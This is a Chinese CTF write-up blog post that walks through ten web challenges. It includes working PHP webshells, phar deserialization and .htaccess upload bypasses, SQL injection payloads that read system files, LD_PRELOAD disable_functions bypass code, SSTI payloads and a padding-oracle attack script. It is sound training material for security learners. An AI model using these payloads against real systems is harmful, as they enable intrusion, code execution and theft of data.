第二弹:http://eustiar.com/archives/521
咕了很久,主要是暑假的后半段在准备保研的事情,前几天复试终于是通过了,大四养猪生活也开始了,回归一下正轨
一段时间没看,赵师傅的平台越来越高大上了,不仅题目越来越多,还用了动态靶机,膜一波
1.ezcms
扫描得到源码www.zip
审计发现可使用哈希长度扩展攻击成为admin
用hashpump生成一下
用相应的payload作为密码登录,同时添加一个名为user的cookie
解锁上传文件功能
上传的文件会保留原本的后缀名,但是由于.htaccess的存在无法解析php
继续审计可以发现存在phar反序列化利用点,可参考https://paper.seebug.org/680/
mime_content_type的实现中读取了文件,所以可以触发反序列化
可以看到有一个利用链:File类的__destrct方法到Profile的__call方法调用open,php内置类含有open的类有ZipArchive,它可以通过指定第二个参数为overwrite来删除.htaccess的内容
生成phar的脚本:
<?php class File{ public $filename; public $filepath; public $checker; function __construct() { $this->checker = new Profile(); } function __destruct() { if (isset($this->checker)){ $this->checker->upload_file(); } } } class Profile{ public $username; public $password; public $admin; function __construct(){ $this->admin = new ZipArchive(); $this->username = './sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/.htaccess'; $this->password = ZIPARCHIVE::OVERWRITE; } function __call($name, $arguments) { $this->admin->open($this->username, $this->password); } } $o = new File(); @unlink("phar.phar"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
将生成的phar上传,同时上传一个shell,关键字过滤可以通过拼接绕过:
<?php $a = "syste"."m"; $a($_GET['b']); ?>
在view.php利用phar读上传的phar文件来删除.htaccess,因为黑名单正则只匹配开头,所以可以通过如下方式绕过:
http://abbdc93a-c668-4ded-966c-e81fc0f158d3.node1.buuoj.cn/view.php?filename=9c7f4a2fbf2dd3dfb7051727a644d99f.phar&filepath=php://filter/resource=phar://./sandbox/fd40c7f4125a9b9ff1a4e75d293e3080/9c7f4a2fbf2dd3dfb7051727a644d99f.phar
然后使用shell来getflag
2.[SUCTF]easyweb
直接给了源码
<?php function get_the_flag(){ // webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']); if(!file_exists($userdir)){ mkdir($userdir); } if(!empty($_FILES["file"])){ $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; $extension = substr($name, strrpos($name,".")+1); if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^"); if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name; @move_uploaded_file($tmp_name, $path); print_r($path); } } $hhh = @$_GET['_']; if (!$hhh){ highlight_file(__FILE__); } if(strlen($hhh)>18){ die('One inch long, one inch strong!'); } if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) ) die('Try something else!'); $character_type = count_chars($hhh, 3); if(strlen($character_type)>12) die("Almost there!"); eval($hhh); ?>
思路比较清晰,通过eval调用get_the_flag上传shell
首先是常见的无黑名单字符shell,异或可以用,fuzz一下构造_GET
因为有一些url保留字符和不安全字符会被错误解析,所以直接用不可见字符进行异或
import string def fuzz(target, dic=string.printable): for k in target: thisone = [] for i in dic: for j in dic: tem = ord(i) ^ ord(j) if chr(tem) == k: temp = [] temp.append(str(hex(ord(i))) + "^" + str(hex(ord(j)))) thisone.append(temp) print("{}:".format(k), end='') print(thisone) dic = '' black = string.printable for i in range(256): if chr(i) not in black: dic += chr(i) fuzz('_GET', dic)
payload:
_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
成功执行phpinfo
然后是上传文件,有三个限制
1.后缀名不能含有ph
2.文件内容不包含%3c%3F
3.使用exif_imagetype检测为图片
第一条考虑上传.htaccess解析其他文件,第二条考虑编码(比如base64),第三条查了一下支持的图片有这些
其中的XBM图片格式如下
#define width 48 #define height 9 static unsigned charcounter_bits[]={ff,3c,7c,3c,70,3c,fe,7c,fe,7c,78,7c,ee,ee,ee,ee,7c,ee,e0,ee,60,ee,74,ee,70,fe,30, fe,70,fe,38,ec,e0,ec,70,ec,1c,e0,ee,e0,70,e0,fe,7e,fe,7e,70,7e,fe,3c,7c,3c,70,3c}
经测试只要头部有宽高的那两行就可以绕过检测,同时他是在注释里的,可以使.htaccess成功解析
可以通过如下方式进行上传
<form enctype="multipart/form-data" action="http://12750b97-6324-4b10-9a9f-0331ccab9b89.node1.buuoj.cn/?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=get_the_flag" method="POST"> Send this file: <input name="file" type="file" /> <input type="submit" value="Send File" /> </form>
保存为html后打开
.htaccess中的
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.eustiar"
会将1.eustiar中的内容base64解码后添加到该目录下所有文件的开头
因为base64解码也包括#define两句,所以注意调节一下长度(比如width 100改成width 1000)使其成功解析
上传成功后发现因为设置了open_basedir,只能读/tmp,想到了之前推特上的open_basedir bypass的poc
最终payload:
http://26ec7491-51f1-4f4e-a2ea-a81eb4693759.node1.buuoj.cn/upload/tmp_fd40c7f4125a9b9ff1a4e75d293e3080/1.eustiar?cmd=chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo readfile('/THis_Is_tHe_F14g');
3.[XNUCA2019]ezphp
(感觉最近一直在碰到.htaccess的题目
直接给了源码
<?php $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } include_once("fl3g.php"); if(!isset($_GET['content']) || !isset($_GET['filename'])) { highlight_file(__FILE__); die(); } $content = $_GET['content']; if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { echo "Hacker"; die(); } $filename = $_GET['filename']; if(preg_match("/[^a-z\.]/", $filename) == 1) { echo "Hacker"; die(); } $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } } file_put_contents($filename, $content . "\nJust one chance"); ?>
可以写文件,文件名只能包含小写字母和点,内容有黑名单过滤
尝试直接写shell,发现无法解析
尝试写.htaccess,content最后会连接\nJust one chance导致无法生效,可以加# \,使其被注释(是不是因为.htaccess支持\换行注释?哪位师傅了解请务必跟我说一下)
同样可以用一个反斜杠进行换行绕过黑名单限制
payload:
/?filename=.htaccess&content=php_value%20auto_append_fi\%0ale%20".htaccess"%0a%23<?php%20system($_GET[1]);%20?>%5C&1=cat%20/flag
4.comment
进去之后可以发帖,但是要先登录
爆破得后三位为666
进去之后简单尝试了一下没有ssti和xss
扫目录发现.git
githack下来发现不全
搜了一下,可以用git_extract
得到源码
<?php include "mysql.php"; session_start(); if($_SESSION['login'] != 'yes'){ header("Location: ./login.php"); die(); } if(isset($_GET['do'])){ switch ($_GET['do']) { case 'write': $category = addslashes($_POST['category']); $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql = "insert into board set category = '$category', title = '$title', content = '$content'"; $result = mysql_query($sql); header("Location: ./index.php"); break; case 'comment': $bo_id = addslashes($_POST['bo_id']); $sql = "select category from board where id='$bo_id'"; $result = mysql_query($sql); $num = mysql_num_rows($result); if($num>0){ $category = mysql_fetch_array($result)['category']; $content = addslashes($_POST['content']); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'"; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id"); break; default: header("Location: ./index.php"); } } else{ header("Location: ./index.php"); } ?>
发现存在一个二次注入
在write中,虽然参数经过了addslashes,但是存入数据库后是没有转义符号的,在comment这一步中直接从数据库取出数据进行拼接,所以会产生注入
不过因为sql语句是换行写的,没法直接#注释后面内容,可以通过write时最后加/*,在comment时加*/#进行闭合以及注释后面内容
payload:
',content=database(),/*
然后评论*/#
即可得到数据库名称
找了一圈没找到数据库里有flag
用loadfile读一下文件
',content=(select load_file('/etc/passwd')),/*
有一个www用户
看一下主目录下操作记录
',content=(select load_file('/home/www/.bash_history')),/*
读一下这个.DS_Store,因为.DS_Store有很多不可见字符,用hex转一下
',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
得到:
读这个文件得到flag:
',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
5.[CISCN2019 华北赛区 Day1 Web5]CyberPunk
f12以下看到提示file=?,利用伪协议读所有文件
看了一下,change.php存在二次注入,address参数经过addslashes,但是再次修改时会从数据库中取出使用,造成二次注入
可以使用报错注入:
1' where user_id=updatexml(1,(select load_file("/flag.txt")),1)%23
因为一次回显不全,所以可以用substr分两次得到flag
6.[ByteCTF2019]babyblog
进入之后是个登录窗口,注册个账号进去是一个类似留言板的东西
“据我长期观察,50%的CTF题目打开都是一个登陆页面,而其中又有60%的可以用各种方式拿到源码” ——P神
扫一下获得源码www.zip
审计发现在edit.php中存在二次注入,关键代码:
if($_SESSION['id'] == $row['userid']){ $title = addslashes($_POST['title']); $content = addslashes($_POST['content']); $sql->query("update article set title='$title',content='$content' where title='" . $row['title'] . "';"); exit("<script>alert('Edited successfully.');location.href='index.php';</script>"); }else{ exit("<script>alert('You do not have permission.');history.go(-1);</script>"); }
title经过addslashes进行转义,但存入了数据库,在再次edit时直接从数据库中拿出来拼接,造成二次注入
虽然config.php对提交的数据进行了过滤,但其实并不严格
这里可以通过如下payload进行盲注脱库:
1'^(ascii(mid(database(),1,1))>1)#
当异或右侧为真时,编辑会无法再改变其内容,当其为假时可以改变
这里我思考了半天后来终于想明白了是为什么
二者异或之后得到一个数字0或者1,然后mysql在用这个数字与title进行比较时进行了隐式转换:
所以形成了二值逻辑
写个脚本可以脱裤子,但发现并无卵用,库里只有自己一个用户
继续审计可以看到replace.php中有preg_replace,其中参数均可控,想到了带e参数的preg_replace在成功匹配到模式串后可以eval(同时想起了自己第一次得奖的线下赛就是错过了一个preg_replace损失惨重)
if($row['isvip'] == 1){ if(isset($_GET['id'])){ foreach($sql->query("select * from article where id=" . intval($_GET['id']) . ";") as $v){ $row = $v; } if($_SESSION['id'] == $row['userid']){ include("templates/replace.html"); exit(); }else{ exit("<script>alert('You do not have permission.');history.go(-1);</script>"); } } if(isset($_POST['find']) && isset($_POST['replace']) && isset($_POST['id'])){ foreach($sql->query("select * from article where id=" . intval($_POST['id']) . ";") as $v){ $row = $v; } if($_SESSION['id'] == $row['userid']){ if(isset($_POST['regex']) && $_POST['regex'] == '1'){ $content = addslashes(preg_replace("/" . $_POST['find'] . "/", $_POST['replace'], $row['content'])); $sql->query("update article set content='$content' where id=" . $row['id'] . ";"); exit("<script>alert('Replaced successfully.');location.href='index.php';</script>"); }else{ $content = addslashes(str_replace($_POST['find'], $_POST['replace'], $row['content'])); $sql->query("update article set content='$content' where id=" . $row['id'] . ";"); exit("<script>alert('Replaced successfully.');location.href='index.php';</script>"); } }else{ exit("<script>alert('You do not have permission.');history.go(-1);</script>"); } } }else{ exit("<script>alert('You are not VIP so you cannot use this function.');history.go(-1);</script>"); }
但是首先我们得成为vip,这里用到刚才二次注入的地方,使用堆叠注入修改自己库中的isvip属性
payload:
1';SET @s=concat(char(117,112,100,97,116,101)," users set isvip=1 where username='Eustiar';");PREPARE hello FROM @s;EXECUTE hello;#
因为config过滤了update,所以concat一下char
成为vip后可以利用%00截断借助preg_replace来rce
注意,只有能匹配到模式串才会eval,所以别忘了find部分要能匹配对应的content
看了一下发现disable_function禁用了很多函数
对照一下找找能用的方法https://github.com/l3m0n/Bypass_Disable_functions_Shell
进行绕过即可,这里的步骤跟之前TCTF的题很像,有兴趣可以看看我这篇文章
error_log并没有被禁用,按照这篇文章的步骤
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char** environ; int geteuid () { unsetenv("LD_PRELOAD"); system("/readflag > /tmp/flag.txt"); }
编译为.so文件:
gcc -shared -fPIC bypass.c -o bypass.so
上传到/tmp目录下
然后设置LD_PRELOAD,通过error_log触发c代码
replace=eval('putenv("LD_PRELOAD=/tmp/bypass3.so");error_log("err",1,"","");die();')&find=e/e%00&id=1®ex=1
可以看到flag.txt了,接下来读一下就好了
|
|
|
|
|
|
|
|
按理说是这样的,但是赵师傅就是不走寻常路的男人,读flag.txt后你会发现
readflag被魔改过了
测试没法反弹shell,也没法知道这个readflag是怎样的逻辑,想了一下,上赵师傅放题目的github看一眼,发现了备注
当即clone一份,翻了翻以前的分支,找到了这个readflag
拖进ida,f5
数字都是随机生成的,最后要算一下这个值,其中还调用了ualarm函数,ualarm()函数通过SIGALRM信号结束进程,这样一来我们需要在进程结束之前计算完并提交结果,google了一番找到了这是一个题目,官方使用perl解决(WP:https://www.secpulse.com/archives/105333.html)
把他修改一下,让他把获得的flag写到tmp目录下:
use strict; use IPC::Open3; my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' ) or die "open3() failed $!"; my $r; $r = <CHLD_OUT>; print "$r"; $r = <CHLD_OUT>; print "$r"; $r = eval "$r"; print "$r\n"; print CHLD_IN "$r\n"; $r = <CHLD_OUT>; print "$r"; $r = <CHLD_OUT>; print "$r"; open(FILE,">/tmp/flag.txt"); syswrite(FILE,"$r"); close(FILE);
将上述脚本传到tmp目录下保存为test.pl
重新写一下c,编译成.so文件并上传
#define _GNU_SOURCE #include <stdlib.h> #include <stdio.h> #include <string.h> extern char** environ; int geteuid () { unsetenv("LD_PRELOAD"); system("perl /tmp/test.pl"); }
通过error_log触发,最后读flag
7.l33t-hoster
进去是一个上传页面,f12看到提示,提交source参数给源码:
<?php if (isset($_GET["source"])) die(highlight_file(__FILE__)); session_start(); if (!isset($_SESSION["home"])) { $_SESSION["home"] = bin2hex(random_bytes(20)); } $userdir = "images/{$_SESSION["home"]}/"; if (!file_exists($userdir)) { mkdir($userdir); } $disallowed_ext = array( "php", "php3", "php4", "php5", "php7", "pht", "phtm", "phtml", "phar", "phps", ); if (isset($_POST["upload"])) { if ($_FILES['image']['error'] !== UPLOAD_ERR_OK) { die("yuuuge fail"); } $tmp_name = $_FILES["image"]["tmp_name"]; $name = $_FILES["image"]["name"]; $parts = explode(".", $name); $ext = array_pop($parts); if (empty($parts[0])) { array_shift($parts); } if (count($parts) === 0) { die("lol filename is empty"); } if (in_array($ext, $disallowed_ext, TRUE)) { die("lol nice try, but im not stupid dude..."); } $image = file_get_contents($tmp_name); if (mb_strpos($image, "<?") !== FALSE) { die("why would you need php in a pic....."); } if (!exif_imagetype($tmp_name)) { die("not an image."); } $image_size = getimagesize($tmp_name); if ($image_size[0] !== 1337 || $image_size[1] !== 1337) { die("lol noob, your pic is not l33t enough"); } $name = implode(".", $parts); move_uploaded_file($tmp_name, $userdir . $name . "." . $ext); } echo "<h3>Your <a href=$userdir>files</a>:</h3><ul>"; foreach(glob($userdir . "*") as $file) { echo "<li><a href='$file'>$file</a></li>"; } echo "</ul>"; ?>
要上传shell上去,ban掉了%3c%3f,考虑用.htaccess/.user.ini之类的配置文件进行getshell
要求image宽高都为1337,想到了上面第二题用到的XBM格式,刚好可以用在这里通过.htaccess来上传shell(#在.htaccess中是注释符
具体地:
上传.htaccess,文件名使用..htaccess以绕过限制
上传提供shell语句的文件,其中base64部分为一句话木马,注意,因为通过auto_prepend_file添加语句时是将整个文件都添加,所以前面define的部分也会被base64解码,而在php中,碰到无法解码的部分会跳过,所以说有可能解析不出我们想要的shell语句,所以在我在前面重复添加了三个字符PD9(不一定是这个数量,总之多试试)来消除对后面的影响
最后上传shell本体
getshell
直接读flag读不出来,但是看到根目录下有个get_flag,要想办法运行它
看一下phpinfo
ban了system之类的系统函数,但没有ban掉mail函数,可以用常用的LD_PRELOAD来绕过
具体过程可以google一下,也可以看看我之前写的wp,不过这里可以直接用mail方法,不用通过别的扩展调用
之前我都是一句命令都要重新编译一次.so文件,很麻烦,这次piao到了别的大佬的一个方法:
#include <stdlib.h> #include <stdio.h> #include <string.h> void payload(char *cmd) { char buf[512]; strcpy(buf, cmd); strcat(buf, " > /tmp/_0utput.txt"); system(buf);} int getuid() { char *cmd; if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); if ((cmd = getenv("_evilcmd")) != NULL) { payload(cmd); } return 1; }
这样就可以通过putenv设置环境变量来执行命令了
具体地:
将上述c文件编译为.so文件,因为file_put_contents被ban了,所以上传并使用move_uploaded_file放到/tmp文件夹下(哪里都行,用着顺手就行)
def upload(filename): files = {'file': open(filename, 'rb').read()} data = {'eustiar':'move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "/tmp/{}");'.format(filename)} res = requests.post(url, files=files, data=data)
然后可以执行系统命令
def exec(cmd): c = "putenv('LD_PRELOAD=/tmp/bypass.so');putenv('_evilcmd={}');mail('a','a','a');echo file_get_contents('/tmp/_0utput.txt');".format(cmd) res = requests.post(url, data={'eustiar':c}) print(res.text)
执行get_flag发现要计算一段表达式
把他down下来逆了一下,就是纯粹的5个随机数相加,用上一题的那个perl脚本,稍微修改一下,但是我要吐槽一下,这里用的脚本需要先chdir到根目录然后open3打开./get_flag,直接open3 /get_flag不会出结果,不知道为什么,(可能是perl的feature?我对perl不熟)这个浪费了我好长时间
use strict; use IPC::Open3; chdir('/'); my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, './get_flag' ) or die "open3() failed $!"; my $r; $r = <CHLD_OUT>; print "$r"; $r = <CHLD_OUT>; print "$r"; $r = eval "$r"; print "$r\n"; print CHLD_IN "$r\n"; $r = <CHLD_OUT>; print "$r"; $r = <CHLD_OUT>; print "$r";
上传后执行这个脚本即可
8.[CISCN2019 华东南赛区]Double Secret
进入之后只有一行字
Welcome To Find Secret
访问/secret,又是一行字:
Tell me your secret.I will encrypt it so others can't see
尝试提交secret,发现有回显,比如
secret=1
回显d
经过尝试发现超过4个字符会报错,其中暴露了部分源码
尝试单个ascii超过127的符号,例如%ff,会是另一种报错,同时暴露了另一个文件的部分源码
目前看来是对提交的secret进行了RC4加密,然后用render_template_string将加密后的内容返回,safe函数估计是waf
先去学一波RC4的原理
原来RC4的加解密是同一个过程,明文加密变为密文,密文再加密变为明文
key他已经给了,写个脚本:
class RC4: def __init__(self, key): self.key = key self.key_length = len(key) self._init_S_box() def _init_S_box(self): self.Box = [i for i in range(256)] k = [self.key[i % self.key_length] for i in range(256)] j = 0 for i in range(256): j = (j + self.Box[i] + ord(k[i])) % 256 self.Box[i], self.Box[j] = self.Box[j], self.Box[i] def crypt(self, plaintext): i = 0 j = 0 result = '' for ch in plaintext: i = (i + 1) % 256 j = (j + self.Box[i]) % 256 self.Box[i], self.Box[j] = self.Box[j], self.Box[i] t = (self.Box[i] + self.Box[j]) % 256 result += chr(self.Box[t] ^ ord(ch)) return result
直接读即可:
a = RC4('HereIsTreasure') cmd = "{{ [].__class__.__base__.__subclasses__()[40]('/flag.txt').read() }}" payload = urllib.parse.quote(a.crypt(cmd)) res = requests.get(url + payload) print(res.text)
貌似safe函数并没有生效,相当于是一个裸的ssti
9.[CISCN2019 华东南赛区]Web11
进去之后是这样一个页面
访问/xff和/api会重定向,用curl试一下:
显示的是首页看到的
联系xff这个路径名,尝试带XFF提交:
发现存在ssti
尝试之后根据报错发现这是一个php的smarty模板,可以直接读flag
10.[NJCTF2017]Be admin
进去之后是一个登录框,试了一下name可以盲注,注了半天啥都没有
从index.php.bak获得源码
<?php include 'config.php'; error_reporting(0); define("SECRET_KEY", "this_is_key_you_do_not_know"); define("METHOD", "aes-128-cbc"); session_start(); function get_random_token(){ $random_token=''; for($i=0;$i<16;$i++){ $random_token.=chr(rand(1,255)); } return $random_token; } function get_identity() { global $defaultId; $j = $defaultId; $token = get_random_token(); $c = openssl_encrypt($j, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token); $_SESSION['id'] = base64_encode($c); setcookie("ID", base64_encode($c)); setcookie("token", base64_encode($token)); if ($j === 'admin') { $_SESSION['isadmin'] = true; } else $_SESSION['isadmin'] = false; } function test_identity() { if (!isset($_COOKIE["token"])) return array(); if (isset($_SESSION['id'])) { $c = base64_decode($_SESSION['id']); if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) { if ($u === 'admin') { $_SESSION['isadmin'] = true; } else $_SESSION['isadmin'] = false; } else { die("ERROR!"); } } } function login($encrypted_pass, $pass) { $encrypted_pass = base64_decode($encrypted_pass); $iv = substr($encrypted_pass, 0, 16); $cipher = substr($encrypted_pass, 16); $password = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv); return $password == $pass; } function need_login($message = NULL) { echo " <!doctype html> <html> <head> <meta charset=\"UTF-8\"> <title>Login</title> <link rel=\"stylesheet\" href=\"CSS/target.css\"> <script src=\"https://cdnjs.cloudflare.com/ajax/libs/prefixfree/1.0.7/prefixfree.min.js\"></script> </head> <body>"; if (isset($message)) { echo " <div>" . $message . "</div>\n"; } echo "<form method=\"POST\" action=''> <div class=\"body\"></div> <div class=\"grad\"></div> <div class=\"header\"> <div>Log<span>In</span></div> </div> <br> <div class=\"login\"> <input type=\"text\" placeholder=\"username\" name=\"username\"> <input type=\"password\" placeholder=\"password\" name=\"password\"> <input type=\"submit\" value=\"Login\"> </div> <script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script> </form> </body> </html>"; } function show_homepage() { echo "<!doctype html> <html> <head><title>Login</title></head> <body>"; global $flag; printf("Hello ~~~ ctfer! "); if ($_SESSION["isadmin"]) echo $flag; echo "<div><a href=\"logout.php\">Log out</a></div> </body> </html>"; } if (isset($_POST['username']) && isset($_POST['password'])) { $username = (string)$_POST['username']; $password = (string)$_POST['password']; $query = "SELECT username, encrypted_pass from users WHERE username='$username'"; $res = $conn->query($query) or trigger_error($conn->error . "[$query]"); if ($row = $res->fetch_assoc()) { $uname = $row['username']; $encrypted_pass = $row["encrypted_pass"]; } if ($row && login($encrypted_pass, $password)) { echo "you are in!" . "</br>"; get_identity(); show_homepage(); } else { echo "<script>alert('login failed!');</script>"; need_login("Login Failed!"); } } else { test_identity(); if (isset($_SESSION["id"])) { show_homepage(); } else { need_login(); } }
审计一下
存在sql注入,可以通过username=' union select 1,1#&password=的方式登录
登陆后会将你标记为defaultID,其内容经过cbc模式加密,其中有一段关键代码:
if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, base64_decode($_COOKIE["token"]))) { if ($u === 'admin') { $_SESSION['isadmin'] = true; } else $_SESSION['isadmin'] = false; } else { die("ERROR!"); }
这里的else分支不仅有不是admin的情况,还有openssl_decrypt返回为空(解密失败)的情况,联想到padding oracle attack
具体原理可以看我以前写的一篇文章
这里直接放个脚本:
import base64 import requests import time import urllib.parse def xor(str1, str2): return ''.join([chr(ord(str1[i]) ^ ord(str2[i])) for i in range(len(str1))]) def attack(): data = base64.b64decode('rj1zRttOrk88BTGJf4asMw==') iv = base64.b64decode('gjjlvr0Tibo/HPmXkuNHdw==') signed_key = iv + data N = 16 url = 'http://d92852b0-217d-4268-b879-8d1de157e4e4.node3.buuoj.cn/' blocknum = len(signed_key) // N - 1 plaintext = '' for block in range(blocknum): current_iv = signed_key[block * N:block * N + N] cipher = signed_key[block * N + N:block * N + N * 2] tmp_value = '' for i in range(1, N + 1): length = len(tmp_value) for j in range(256): time.sleep(0.05) padding = xor(tmp_value, chr(i) * (i - 1)) new_iv = chr(0) * (N - i) + chr(j) + padding new_token = base64.b64encode(new_iv.encode('iso-8859-1')).decode('iso-8859-1') new_id = base64.b64encode(cipher).decode('iso-8859-1') cookies = { 'PHPSESSID': 'urvbkb98t4jmsmpvcassrq6ot2', 'id': urllib.parse.quote(new_id), 'token': urllib.parse.quote(new_token) } res = requests.get(url, cookies=cookies) if 'ERROR' not in res.text: print(j ^ i ^ iv[-i]) tmp_value = chr(j ^ i) + tmp_value break if len(tmp_value) == length: print('第{}块第{}位出错'.format(block+1, N - i)) exit() plain = xor(tmp_value, current_iv.decode('iso-8859-1')) print(plain) plaintext += plain print(plaintext) if __name__ == '__main__': attack()
data为ID,iv为token
注意,这里有两个坑点,可能跟复现环境有关
第一是id和token传输前要urlencode一下,要不然会出错
第二是第一位爆破不出来,而第二位往后依次为uest,猜一下为guest
再使用CBC字节翻转攻击将guest修改为admin即可获得flag
流程跟我这篇文章差不多,可以看一下
未完待续。。。
打赏作者
赞一个,学习了